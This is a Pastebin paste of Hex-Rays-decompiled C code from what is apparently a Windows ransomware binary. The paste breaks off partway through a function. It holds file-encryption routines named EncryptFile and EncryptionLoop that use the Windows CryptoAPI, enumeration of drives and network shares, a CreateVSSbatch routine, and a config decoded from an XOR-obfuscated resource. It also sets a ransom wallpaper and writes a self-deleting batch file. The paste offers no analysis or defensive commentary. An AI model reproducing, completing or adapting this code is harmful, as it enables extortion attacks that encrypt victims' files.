Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* This file has been generated by the Hex-Rays decompiler.
- Copyright (c) 2007-2011 Hex-Rays <[email protected]>
- Detected compiler: Visual C++
- */
- #include <windows.h>
- #include <defs.h>
- //-------------------------------------------------------------------------
- // Data declarations
- extern char aI[]; // idb
- extern char asc_405005[]; // idb
- extern char a02x[]; // idb
- extern char aS1[]; // idb
- extern char aS2[]; // idb
- extern char aS3[]; // idb
- extern char aWall[5]; // weak
- extern char a_bmp[]; // idb
- extern char a_[]; // idb
- extern char a__[]; // idb
- extern char aChcp1251Ping12[]; // idb
- extern char aFnldtjdoib_bat[15]; // weak
- extern char aCfg[4]; // weak
- extern char aExplorer_exe[]; // idb
- extern char aIndex_dat[]; // idb
- extern char aAdmin[]; // idb
- extern char aAdvapi32_dll[]; // idb
- extern char aCryptsetkeypar[]; // idb
- extern char aCryptreleaseco[]; // idb
- extern char aCryptimportkey[]; // idb
- extern char aCryptgenkey[]; // idb
- extern char aCryptencrypt[]; // idb
- extern char aCryptdestroyke[]; // idb
- extern char aCryptacquireco[]; // idb
- extern char aCryptexportkey[]; // idb
- extern char ModuleName[]; // idb
- extern char ProcName[]; // idb
- extern char aCreatethread[]; // idb
- extern char aCreatefilea[]; // idb
- extern char aFindclose[]; // idb
- extern char aFindfirstfilea[]; // idb
- extern char aFindnextfilea[]; // idb
- extern char aGetdiskfreespa[]; // idb
- extern char aWidechartomult[]; // idb
- extern char aFindresourcea[]; // idb
- extern char aFreeresource[]; // idb
- extern char aLoadresource[]; // idb
- extern char aSizeofresource[]; // idb
- extern char aLockresource[]; // idb
- extern char aGetwindowsdire[]; // idb
- extern char aGettemppatha[]; // idb
- extern char aMovefilea[]; // idb
- extern char aSeterrormode[]; // idb
- extern char aSetfileattribu[]; // idb
- extern char aGetfileattribu[]; // idb
- extern char aGetfilesizeex[]; // idb
- extern char aGetfiletime[]; // idb
- extern char aGetdrivetypea[]; // idb
- extern char aWritefile[]; // idb
- extern char aSetfiletime[]; // idb
- extern char aOpenmutexa[]; // idb
- extern char aCreatemutexa[]; // idb
- extern char aGetcomputernam[]; // idb
- extern char aGetlogicaldriv[]; // idb
- extern char aMultibytetowid[]; // idb
- extern char aReadfile[]; // idb
- extern char aWaitforsingleo[]; // idb
- extern char aNetapi32_dll[]; // idb
- extern char aNetshareenum[]; // idb
- extern char aNetapibufferfr[]; // idb
- extern char aMpr_dll[]; // idb
- extern char aWnetopenenuma[]; // idb
- extern char aWnetenumresour[]; // idb
- extern char aWnetcloseenum[]; // idb
- extern DWORD dwTlsIndex; // idb
- extern DWORD dword_405384; // idb
- extern DWORD dword_405388; // idb
- extern DWORD dword_40538C; // idb
- extern DWORD dword_405390; // idb
- extern DWORD dword_405394; // idb
- extern char Filename[104]; // idb
- extern char byte_405898[]; // weak
- extern char byte_4058A8[256]; // idb
- extern char byte_4059A8[]; // idb
- extern char byte_405AA8[]; // idb
- extern char String[]; // idb
- extern _DWORD dword_406AC8; // idb
- extern int dword_406ACC[]; // weak
- extern _DWORD dword_406AD0[8190]; // idb
- extern SIZE_T dwBytes; // idb
- extern int dword_40EAD0; // weak
- extern LPCSTR lpString; // idb
- extern LPCSTR dword_40EAD8; // idb
- extern LPCSTR dword_40EADC; // idb
- extern HANDLE hHeap; // idb
- extern int dword_40EAE4; // weak
- extern char byte_40EAE8; // weak
- extern char byte_40EAE9; // weak
- extern char byte_40EAEA; // weak
- extern int dword_40EAEB; // weak
- extern int dword_40EAF0; // weak
- extern LPCSTR lpString2; // idb
- extern LPCSTR dword_40EAF8; // idb
- extern int dword_40EAFC; // weak
- extern int dword_40EB00; // weak
- extern int dword_40EB04; // weak
- extern int dword_40EB08; // weak
- extern SIZE_T dword_40EB0C; // idb
- extern int dword_40EB10; // weak
- extern int dword_40EB18; // weak
- extern int dword_40EB28; // weak
- extern char byte_40EB2C[256]; // idb
- extern int dword_40EC2C; // weak
- extern int dword_40EC30; // weak
- extern int dword_40EC34; // weak
- extern _UNKNOWN unk_40EC38; // weak
- extern char LibFileName[]; // idb
- extern char byte_40FCCC[]; // idb
- extern char String2[]; // idb
- extern char String1[]; // idb
- extern char byte_4103CC[]; // idb
- extern char FileName[]; // idb
- extern char byte_410DCC[]; // idb
- extern FILETIME CreationTime; // idb
- extern FILETIME LastAccessTime; // idb
- extern FILETIME LastWriteTime; // idb
- extern char byte_410EE4[]; // idb
- extern _UNKNOWN unk_410FE4; // weak
- extern int dword_410FEC; // weak
- extern int dword_410FF0; // weak
- extern int dword_410FF4; // weak
- extern int dword_410FF8; // weak
- extern int dword_410FFC; // weak
- extern HMODULE hModule; // idb
- extern int (__stdcall *ShellExecute)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak
- extern HMODULE shlwapiDLL; // idb
- extern int (__stdcall *PathFindExtensionA)(_DWORD); // weak
- extern HMODULE AdvapiLibDword; // idb
- extern HMODULE kernel32dll; // idb
- extern int (__fastcall *GetComputerNameA)(_DWORD, _DWORD, _DWORD, _DWORD); // weak
- extern int (__stdcall *CreateThread)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak
- extern int (__stdcall *FindResourceA)(_DWORD, _DWORD, _DWORD); // weak
- extern int (__stdcall *FreeResource)(_DWORD); // weak
- extern int (__stdcall *LoadResource)(_DWORD, _DWORD); // weak
- extern int (__stdcall *SizeofResource)(_DWORD, _DWORD); // weak
- extern int (__stdcall *LockResource)(_DWORD); // weak
- extern int (__stdcall *GetWindowsDirectoryA)(_DWORD, _DWORD); // weak
- extern int (__stdcall *SetErrorMode)(_DWORD); // weak
- extern int (__stdcall *OpenMutexA)(_DWORD, _DWORD, _DWORD); // weak
- extern int (__stdcall *CreateMutexA)(_DWORD, _DWORD, _DWORD); // weak
- extern int (*GetLogicalDrives)(void); // weak
- extern int (__thiscall *WaitForSingleObject)(_DWORD, _DWORD, _DWORD); // weak
- extern HMODULE netapi32Dll; // idb
- extern HMODULE MPRDll; // idb
- //-------------------------------------------------------------------------
- // Function declarations
- #define __thiscall __cdecl // Test compile in C mode
- int __cdecl sub_401000();
- LPSTR __cdecl sub_40108A();
- HGLOBAL __cdecl sub_4010EA();
- LPSTR __stdcall sub_4011C2(LPCSTR lpString2, LPSTR lpString1);
- int __cdecl sub_401329();
- char __stdcall sub_4014CC(int a1, int a2, int a3, int a4, int a5, int a6);
- signed int __cdecl sub_401569();
- void __stdcall sub_401772(int a1, int a2);
- BOOL __stdcall sub_401798(void **a1);
- BOOL __cdecl EncryptionLoop();
- signed int __cdecl sub_401C80();
- BOOL __cdecl sub_401D34();
- // int __usercall sub_401D4F<eax>(unsigned int a1<eax>, int a2<edx>, int a3<ecx>, unsigned int a4<ebx>);
- // int __usercall sub_401D89<eax>(int a1<eax>, int a2<ecx>);
- int __stdcall sub_401DC3(int a1, int a2);
- int __stdcall sub_401DE6(int a1, int a2);
- signed int __stdcall EncryptFile(const CHAR *a1);
- int __cdecl sub_4020E1();
- int __cdecl sub_4021AA();
- int __stdcall sub_4021FD(int a1, int a2);
- signed int __cdecl sub_4022E0();
- _DWORD __stdcall sub_4023B5(_DWORD, _DWORD); // weak
- _DWORD __stdcall sub_4023E3(_DWORD, _DWORD); // weak
- int __cdecl CreateVSSbatch();
- DWORD __cdecl sub_40253D();
- BOOL __cdecl sub_4025BC();
- DWORD __stdcall sub_4025FF(const CHAR *a1);
- BOOL __cdecl sub_40262E();
- signed int __cdecl sub_4026A7();
- DWORD __stdcall sub_402EC3(DWORD lpString2);
- DWORD __stdcall sub_403026(struct _NETRESOURCEA *a1);
- void __cdecl start();
- int loc_403369(); // weak
- // BOOL __stdcall CloseHandle(HANDLE hObject);
- // void __stdcall ExitProcess(UINT uExitCode);
- // HANDLE __stdcall GetCurrentProcess();
- // DWORD __stdcall GetLastError();
- // DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPSTR lpFilename, DWORD nSize);
- // HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName);
- // FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
- // HANDLE __stdcall GetProcessHeap();
- // void __stdcall GetSystemTime(LPSYSTEMTIME lpSystemTime);
- // DWORD __stdcall GetTickCount();
- // BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation);
- // HGLOBAL __stdcall GlobalAlloc(UINT uFlags, SIZE_T dwBytes);
- // HGLOBAL __stdcall GlobalFree(HGLOBAL hMem);
- // LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
- // BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem);
- // HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName);
- // int __stdcall RtlMoveMemory(_DWORD, _DWORD, _DWORD, _DWORD); weak
- // int __stdcall RtlZeroMemory(_DWORD, _DWORD); weak
- // DWORD __stdcall SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
- // void __stdcall Sleep(DWORD dwMilliseconds);
- // BOOL __stdcall SystemTimeToFileTime(const SYSTEMTIME *lpSystemTime, LPFILETIME lpFileTime);
- // DWORD __stdcall TlsAlloc();
- // BOOL __stdcall TlsFree(DWORD dwTlsIndex);
- // LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex);
- // BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue);
- // LPSTR __stdcall lstrcatA(LPSTR lpString1, LPCSTR lpString2);
- // int __stdcall lstrcmpiA(LPCSTR lpString1, LPCSTR lpString2);
- // LPSTR __stdcall lstrcpyA(LPSTR lpString1, LPCSTR lpString2);
- // LPSTR __stdcall lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength);
- // int __stdcall lstrlenA(LPCSTR lpString);
- // int wsprintfA(LPSTR, LPCSTR, ...);
- // int __stdcall GetSystemMetrics(int nIndex);
- // BOOL __stdcall SystemParametersInfoA(UINT uiAction, UINT uiParam, PVOID pvParam, UINT fWinIni);
- BOOL __stdcall SHGetSpecialFolderPathA(HWND hwnd, LPSTR pszPath, int csidl, BOOL fCreate);
- LPSTR __stdcall PathFindFileNameA(LPCSTR pszPath);
- BOOL __stdcall PathMatchSpecA(LPCSTR pszFile, LPCSTR pszSpec);
- LPSTR __stdcall PathAddBackslashA(LPSTR pszPath);
- BOOL __stdcall CryptSetKeyParam(HCRYPTKEY hKey, DWORD dwParam, const BYTE *pbData, DWORD dwFlags);
- BOOL __stdcall CryptReleaseContext(HCRYPTPROV hProv, DWORD dwFlags);
- BOOL __stdcall CryptImportKey(HCRYPTPROV hProv, const BYTE *pbData, DWORD dwDataLen, HCRYPTKEY hPubKey, DWORD dwFlags, HCRYPTKEY *phKey);
- BOOL __stdcall CryptGenKey(HCRYPTPROV hProv, ALG_ID Algid, DWORD dwFlags, HCRYPTKEY *phKey);
- BOOL __stdcall CryptEncrypt(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen, DWORD dwBufLen);
- BOOL __stdcall CryptDestroyKey(HCRYPTKEY hKey);
- BOOL __stdcall CryptAcquireContextA(HCRYPTPROV *phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags);
- BOOL __stdcall CryptExportKey(HCRYPTKEY hKey, HCRYPTKEY hExpKey, DWORD dwBlobType, DWORD dwFlags, BYTE *pbData, DWORD *pdwDataLen);
- HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
- BOOL __stdcall FindClose(HANDLE hFindFile);
- HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData);
- BOOL __stdcall FindNextFileA(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData);
- BOOL __stdcall GetDiskFreeSpaceExA(LPCSTR lpDirectoryName, PULARGE_INTEGER lpFreeBytesAvailableToCaller, PULARGE_INTEGER lpTotalNumberOfBytes, PULARGE_INTEGER lpTotalNumberOfFreeBytes);
- int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar);
- DWORD __stdcall GetTempPathA(DWORD nBufferLength, LPSTR lpBuffer);
- BOOL __stdcall MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName);
- BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName, DWORD dwFileAttributes);
- DWORD __stdcall GetFileAttributesA(LPCSTR lpFileName);
- BOOL __stdcall GetFileSizeEx(HANDLE hFile, PLARGE_INTEGER lpFileSize);
- UINT __stdcall GetFileTime(LPCSTR lpRootPathName);
- BOOL __stdcall GetDriveTypeA(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
- BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
- BOOL __stdcall SetFileTime(HANDLE hFile, const FILETIME *lpCreationTime, const FILETIME *lpLastAccessTime, const FILETIME *lpLastWriteTime);
- BOOL __stdcall MultiByteToWideChar(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
- BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
- DWORD __stdcall NetShareEnum(LPVOID Buffer);
- DWORD __stdcall NetApiBufferFree(LPVOID Buffer);
- DWORD __stdcall WNetOpenEnumA(DWORD dwScope, DWORD dwType, DWORD dwUsage, LPNETRESOURCEA lpNetResource, LPHANDLE lphEnum);
- DWORD __stdcall WNetEnumResourceA(HANDLE hEnum, LPDWORD lpcCount, LPVOID lpBuffer, LPDWORD lpBufferSize);
- DWORD __stdcall WNetCloseEnum(HANDLE hEnum);
- //----- (00401000) --------------------------------------------------------
- int __cdecl sub_401000()
- {
- int v0; // eax@1
- char v2; // [sp+0h] [bp-8h]@1
- HANDLE hObject; // [sp+4h] [bp-4h]@1
- hObject = CreateFileA("fnldtjdoib.bat", 0xC0000000u, 3u, 0, 2u, 0, 0);
- SetFilePointer(hObject, 0, 0, 0);
- wsprintfA(String, "chcp 1251\r\nping 127.0.0.1\r\ndir * > \"%s\"\r\ndel /f /q \"%s\"\r\ndel /f /q %%0", Filename);
- v0 = lstrlenA(String);
- WriteFile(hObject, String, v0, (LPDWORD)&v2, 0);
- CloseHandle(hObject);
- return ShellExecute(0, 0, "fnldtjdoib.bat", 0, 0, 0);
- }
- // 411004: using guessed type int (__stdcall *ShellExecute)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
- //----- (0040108A) --------------------------------------------------------
- LPSTR __cdecl sub_40108A()
- {
- int v0; // ecx@1
- int v1; // ebx@1
- int v2; // ST0C_4@2
- int v3; // eax@2
- CHAR String2; // [sp+4h] [bp-4h]@2
- v0 = dword_40EC34;
- v1 = dword_40EC30;
- do
- {
- v2 = v0;
- v3 = *(_BYTE *)v1++;
- wsprintfA(&String2, "%02X", v3);
- lstrcatA(::String2, &String2);
- v0 = v2 - 1;
- }
- while ( v2 != 1 );
- lstrcpynA(String1, ::String2, 11);
- return lstrcatA(String1, "..");
- }
- // 40EC30: using guessed type int dword_40EC30;
- // 40EC34: using guessed type int dword_40EC34;
- //----- (004010EA) --------------------------------------------------------
- HGLOBAL __cdecl sub_4010EA()
- {
- SIZE_T v0; // ST20_4@1
- const CHAR *v1; // ST1C_4@1
- int v2; // ebx@1
- int v3; // eax@1
- int v4; // ebx@1
- int v5; // eax@1
- int v6; // ebx@1
- int v7; // eax@1
- v0 = 4 * lstrlenA(lpString);
- dword_40EAD8 = (LPCSTR)GlobalAlloc(0x40u, v0);
- v1 = (const CHAR *)GlobalAlloc(0x40u, v0);
- sub_40108A();
- v2 = lstrlenA(lpString);
- v3 = lstrlenA("{%s1}");
- sub_4014CC((int)lpString, (int)dword_40EAD8, (int)"{%s1}", dword_40EAFC, v2, v3);
- v4 = lstrlenA(dword_40EAD8);
- v5 = lstrlenA("{%s2}");
- sub_4014CC((int)dword_40EAD8, (int)v1, (int)"{%s2}", (int)String2, v4, v5);
- v6 = lstrlenA(v1);
- v7 = lstrlenA("{%s3}");
- sub_4014CC((int)v1, (int)dword_40EAD8, (int)"{%s3}", (int)String1, v6, v7);
- return GlobalFree((HGLOBAL)v1);
- }
- // 40EAFC: using guessed type int dword_40EAFC;
- //----- (004011C2) --------------------------------------------------------
- LPSTR __stdcall sub_4011C2(LPCSTR lpString2, LPSTR lpString1)
- {
- signed int i; // ebx@2
- HANDLE v3; // eax@5
- int v4; // eax@6
- LPSTR result; // eax@7
- char v6; // [sp+4h] [bp-B08h]@1
- CHAR String2; // [sp+504h] [bp-608h]@1
- CHAR v8; // [sp+A04h] [bp-108h]@3
- HANDLE hObject; // [sp+B04h] [bp-8h]@6
- char v10; // [sp+B08h] [bp-4h]@6
- lstrcpyA(&String2, lpString2);
- PathAddBackslashA(&String2);
- lstrcatA(&String2, byte_4059A8);
- lstrcpyA(&v6, &String2);
- lstrcatA(&String2, byte_405AA8);
- if ( GetFileAttributesA(&String2) != -1 )
- {
- for ( i = 1; ; ++i )
- {
- wsprintfA(&v8, "(%i)", i);
- lstrcpyA(&String2, &v6);
- lstrcatA(&String2, &v8);
- lstrcatA(&String2, byte_405AA8);
- if ( GetFileAttributesA(&String2) == -1 )
- break;
- }
- }
- v3 = CreateFileA(&String2, 0xC0000000u, 3u, 0, 2u, 0, 0);
- if ( v3 != (HANDLE)-1 )
- {
- hObject = v3;
- SetFilePointer(v3, 0, 0, 0);
- v4 = lstrlenA(dword_40EAD8);
- WriteFile(hObject, dword_40EAD8, v4, (LPDWORD)&v10, 0);
- SetFileTime(hObject, &CreationTime, &LastAccessTime, &LastWriteTime);
- CloseHandle(hObject);
- }
- result = lpString1;
- if ( lpString1 )
- result = lstrcpyA(lpString1, &String2);
- return result;
- }
- //----- (00401329) --------------------------------------------------------
- int __cdecl sub_401329()
- {
- int result; // eax@1
- int v1; // ecx@3
- int v2; // edi@3
- int v3; // ST18_4@4
- const void *v4; // ebx@9
- CHAR String1; // [sp+4h] [bp-218h]@2
- DWORD NumberOfBytesWritten; // [sp+204h] [bp-18h]@10
- DWORD nNumberOfBytesToWrite; // [sp+208h] [bp-14h]@7
- int v8; // [sp+20Ch] [bp-10h]@6
- int v9; // [sp+210h] [bp-Ch]@8
- int v10; // [sp+214h] [bp-8h]@9
- HANDLE hObject; // [sp+218h] [bp-4h]@10
- result = SHGetSpecialFolderPathA(0, byte_4103CC, 16, 1);
- if ( result )
- {
- sub_4011C2(byte_4103CC, &String1);
- ShellExecute(0, 0, &String1, 0, 0, 5);
- result = (unsigned __int8)byte_40EAE8;
- if ( byte_40EAE8 == 1 )
- {
- v1 = 16;
- v2 = (int)byte_40FCCC;
- do
- {
- v3 = v1;
- Sleep(1u);
- *(_BYTE *)v2++ = ((GetTickCount() & 0xF0) >> 4) + 97;
- v1 = v3 - 1;
- }
- while ( v3 != 1 );
- *(_BYTE *)v2 = 0;
- lstrcatA(byte_40FCCC, ".bmp");
- GetTempPathA(0x500u, FileName);
- PathAddBackslashA(FileName);
- lstrcatA(FileName, byte_40FCCC);
- result = FindResourceA(0, "wall", 2);
- if ( result )
- {
- v8 = result;
- result = SizeofResource(0, result);
- if ( result )
- {
- nNumberOfBytesToWrite = result;
- result = LoadResource(0, v8);
- if ( result )
- {
- v9 = result;
- result = LockResource(result);
- if ( result )
- {
- v10 = result;
- v4 = (const void *)result;
- result = (int)CreateFileA(FileName, 0xC0000000u, 3u, 0, 2u, 0, 0);
- if ( result != -1 )
- {
- hObject = (HANDLE)result;
- SetFilePointer((HANDLE)result, 0, 0, 0);
- WriteFile(hObject, v4, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0);
- SetFileTime(hObject, &CreationTime, &LastAccessTime, &LastWriteTime);
- CloseHandle(hObject);
- SystemParametersInfoA(0x14u, 0, FileName, 3u);
- result = FreeResource(v9);
- }
- }
- }
- }
- }
- }
- }
- return result;
- }
- // 40EAE8: using guessed type char byte_40EAE8;
- // 411004: using guessed type int (__stdcall *ShellExecute)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
- // 411068: using guessed type int (__stdcall *FindResourceA)(_DWORD, _DWORD, _DWORD);
- // 41106C: using guessed type int (__stdcall *FreeResource)(_DWORD);
- // 411070: using guessed type int (__stdcall *LoadResource)(_DWORD, _DWORD);
- // 411074: using guessed type int (__stdcall *SizeofResource)(_DWORD, _DWORD);
- // 411078: using guessed type int (__stdcall *LockResource)(_DWORD);
- //----- (004014CC) --------------------------------------------------------
- char __stdcall sub_4014CC(int a1, int a2, int a3, int a4, int a5, int a6)
- {
- int v6; // edi@1
- int v7; // esi@1
- signed int v8; // ecx@6
- int v9; // edx@6
- char v10; // al@7
- int v11; // edx@10
- int v12; // ecx@10
- char v13; // al@11
- signed int v14; // ecx@13
- char result; // al@14
- v6 = a2;
- v7 = a1 - 1;
- LABEL_3:
- while ( 1 )
- {
- ++v7;
- if ( a1 + a5 - a6 + 1 <= v7 )
- break;
- if ( *(_BYTE *)v7 == *(_BYTE *)a3 )
- {
- v8 = -1;
- v9 = a3;
- while ( 1 )
- {
- ++v8;
- v10 = *(_BYTE *)v9;
- if ( !*(_BYTE *)v9 )
- break;
- ++v9;
- if ( *(_BYTE *)(v8 + v7) != v10 )
- {
- *(_BYTE *)v6++ = *(_BYTE *)v7;
- goto LABEL_3;
- }
- }
- v11 = a4;
- v12 = v8 - 1;
- while ( 1 )
- {
- v13 = *(_BYTE *)v11;
- if ( !*(_BYTE *)v11 )
- break;
- ++v11;
- *(_BYTE *)v6++ = v13;
- }
- v7 += v12;
- }
- else
- {
- *(_BYTE *)v6++ = *(_BYTE *)v7;
- }
- }
- v14 = -1;
- do
- {
- ++v14;
- result = *(_BYTE *)(v14 + v7);
- *(_BYTE *)(v14 + v6) = result;
- }
- while ( result );
- return result;
- }
- //----- (00401569) --------------------------------------------------------
- signed int __cdecl sub_401569()
- {
- int v0; // eax@1
- signed int result; // eax@2
- int v2; // eax@3
- int v3; // eax@5
- int v4; // eax@7
- HGLOBAL v5; // eax@9
- int v6; // ST0C_4@11
- int v7; // ebx@11
- SIZE_T *v8; // ebx@11
- const CHAR *v9; // eax@11
- SIZE_T v10; // edi@13
- int v11; // ebx@13
- int v12; // ebx@13
- SIZE_T v13; // ecx@13
- int v14; // ebx@13
- const CHAR *v15; // eax@14
- SIZE_T v16; // edi@16
- int v17; // ebx@16
- SIZE_T v18; // ecx@18
- int v19; // ebx@18
- HGLOBAL v20; // eax@19
- SIZE_T v21; // edi@21
- SIZE_T *v22; // ebx@21
- const CHAR *v23; // eax@21
- SIZE_T v24; // edi@25
- int v25; // ebx@25
- int v26; // ebx@25
- int v27; // ebx@25
- const CHAR *v28; // eax@25
- int v29; // ST0C_4@27
- HGLOBAL v30; // ST0C_4@27
- SIZE_T v31; // [sp-4h] [bp-18h]@14
- SIZE_T v32; // [sp-4h] [bp-18h]@19
- SIZE_T v33; // [sp-4h] [bp-18h]@21
- SIZE_T hMem; // [sp+0h] [bp-14h]@11
- int hMema; // [sp+0h] [bp-14h]@13
- int hMemb; // [sp+0h] [bp-14h]@16
- int hMemc; // [sp+0h] [bp-14h]@21
- int hMemd; // [sp+0h] [bp-14h]@25
- SIZE_T dwBytes; // [sp+4h] [bp-10h]@5
- int dwBytesa; // [sp+4h] [bp-10h]@11
- int v41; // [sp+8h] [bp-Ch]@3
- int v42; // [sp+Ch] [bp-8h]@7
- int v43; // [sp+10h] [bp-4h]@9
- v0 = FindResourceA(0, "cfg", 10);
- if ( v0 )
- {
- v41 = v0;
- v2 = SizeofResource(0, v0);
- if ( v2 )
- {
- dwBytes = v2;
- v3 = LoadResource(0, v41);
- if ( v3 )
- {
- v42 = v3;
- v4 = LockResource(v3);
- if ( v4 )
- {
- v43 = v4;
- v5 = GlobalAlloc(0x40u, dwBytes);
- if ( v5 )
- {
- RtlMoveMemory(v5, v43, dwBytes, v5);
- FreeResource(v42);
- v7 = v6;
- RtlMoveMemory(byte_405898, v6, 16, dwBytes);
- v7 += 16;
- sub_401772(v7, dwBytesa - 16);
- byte_40EAE8 = *(_BYTE *)v7++;
- byte_40EAE9 = *(_BYTE *)v7++;
- byte_40EAEA = *(_BYTE *)v7++;
- dword_40EAF0 = *(_DWORD *)v7;
- v7 += 4;
- dword_40EB00 = *(_DWORD *)v7;
- v8 = (SIZE_T *)(v7 + 4);
- hMem = *v8;
- v9 = (const CHAR *)GlobalAlloc(0x40u, *v8);
- if ( v9 )
- {
- lpString2 = v9;
- v10 = hMem;
- v11 = (int)(v8 + 1);
- RtlMoveMemory(v9, v11, hMem, dwBytesa);
- v12 = v10 + v11;
- v13 = *(_DWORD *)v12;
- v14 = v12 + 4;
- if ( v13 <= 1 )
- {
- result = 0;
- }
- else
- {
- v31 = v13;
- v15 = (const CHAR *)GlobalAlloc(0x40u, v13);
- if ( v15 )
- {
- dword_40EAF8 = v15;
- v16 = v31;
- RtlMoveMemory(v15, v14, v31, hMema);
- v17 = v16 + v14;
- v18 = *(_DWORD *)v17;
- v19 = v17 + 4;
- if ( v18 <= 1 )
- {
- result = 0;
- }
- else
- {
- v32 = v18;
- v20 = GlobalAlloc(0x40u, v18);
- if ( v20 )
- {
- dword_40EAFC = (int)v20;
- v21 = v32;
- RtlMoveMemory(v20, v19, v32, hMemb);
- v22 = (SIZE_T *)(v21 + v19);
- v33 = *v22;
- v23 = (const CHAR *)GlobalAlloc(0x40u, *v22);
- if ( v23 )
- {
- lpString = v23;
- v24 = v33;
- v25 = (int)(v22 + 1);
- RtlMoveMemory(v23, v25, v33, hMemc);
- v26 = v24 + v25;
- dword_40EAD0 = *(_DWORD *)v26;
- v26 += 4;
- ::dwBytes = *(_DWORD *)v26;
- v27 = v26 + 4;
- v28 = (const CHAR *)GlobalAlloc(0x40u, ::dwBytes);
- if ( v28 )
- {
- dword_40EADC = v28;
- RtlMoveMemory(v28, v27, ::dwBytes, hMemd);
- RtlMoveMemory(&unk_40EC38, ::dwBytes + v27, 148, v29);
- GlobalFree(v30);
- result = 1;
- }
- else
- {
- result = 0;
- }
- }
- else
- {
- result = 0;
- }
- }
- else
- {
- result = 0;
- }
- }
- }
- else
- {
- result = 0;
- }
- }
- }
- else
- {
- result = 0;
- }
- }
- else
- {
- result = 0;
- }
- }
- else
- {
- result = 0;
- }
- }
- else
- {
- result = 0;
- }
- }
- else
- {
- result = 0;
- }
- }
- else
- {
- result = 0;
- }
- return result;
- }
- // 401569: could not find valid save-restore pair for edi
- // 4033D6: using guessed type int __stdcall RtlMoveMemory(_DWORD, _DWORD, _DWORD, _DWORD);
- // 40EAD0: using guessed type int dword_40EAD0;
- // 40EAE8: using guessed type char byte_40EAE8;
- // 40EAE9: using guessed type char byte_40EAE9;
- // 40EAEA: using guessed type char byte_40EAEA;
- // 40EAF0: using guessed type int dword_40EAF0;
- // 40EAFC: using guessed type int dword_40EAFC;
- // 40EB00: using guessed type int dword_40EB00;
- // 411068: using guessed type int (__stdcall *FindResourceA)(_DWORD, _DWORD, _DWORD);
- // 41106C: using guessed type int (__stdcall *FreeResource)(_DWORD);
- // 411070: using guessed type int (__stdcall *LoadResource)(_DWORD, _DWORD);
- // 411074: using guessed type int (__stdcall *SizeofResource)(_DWORD, _DWORD);
- // 411078: using guessed type int (__stdcall *LockResource)(_DWORD);
- //----- (00401772) --------------------------------------------------------
- void __stdcall sub_401772(int a1, int a2)
- {
- int v2; // esi@1
- int v3; // edi@1
- int v4; // edx@1
- int v5; // ecx@1
- char v6; // al@4
- v2 = a1;
- v3 = a1;
- v4 = 0;
- v5 = a2;
- do
- {
- if ( v4 == 16 )
- v4 = 0;
- v6 = *(_BYTE *)v2++;
- *(_BYTE *)v3++ = byte_405898[v4++] ^ v6;
- --v5;
- }
- while ( v5 );
- }
- //----- (00401798) --------------------------------------------------------
- BOOL __stdcall sub_401798(void **a1)
- {
- void *v1; // eax@1
- void *v2; // eax@5
- void *v3; // eax@9
- void *v4; // eax@13
- void *v5; // eax@17
- CHAR *v6; // ST0C_4@23
- void *v7; // eax@23
- void *v8; // eax@23
- void *v9; // eax@23
- void *v10; // eax@23
- void *v11; // eax@23
- void *lpString2; // [sp+4h] [bp-4h]@1
- lpString2 = *a1;
- v1 = HeapAlloc(hHeap, 8u, 0x1000u);
- if ( !v1 )
- JUMPOUT(loc_403369);
- if ( !TlsSetValue(dwTlsIndex, v1) )
- JUMPOUT(loc_403369);
- v2 = HeapAlloc(hHeap, 8u, 0x1000u);
- if ( !v2 )
- JUMPOUT(loc_403369);
- if ( !TlsSetValue(dword_405384, v2) )
- JUMPOUT(loc_403369);
- v3 = HeapAlloc(hHeap, 8u, 0x1000u);
- if ( !v3 )
- JUMPOUT(loc_403369);
- if ( !TlsSetValue(dword_405388, v3) )
- JUMPOUT(loc_403369);
- v4 = HeapAlloc(hHeap, 8u, 0x1000u);
- if ( !v4 )
- JUMPOUT(loc_403369);
- if ( !TlsSetValue(dword_40538C, v4) )
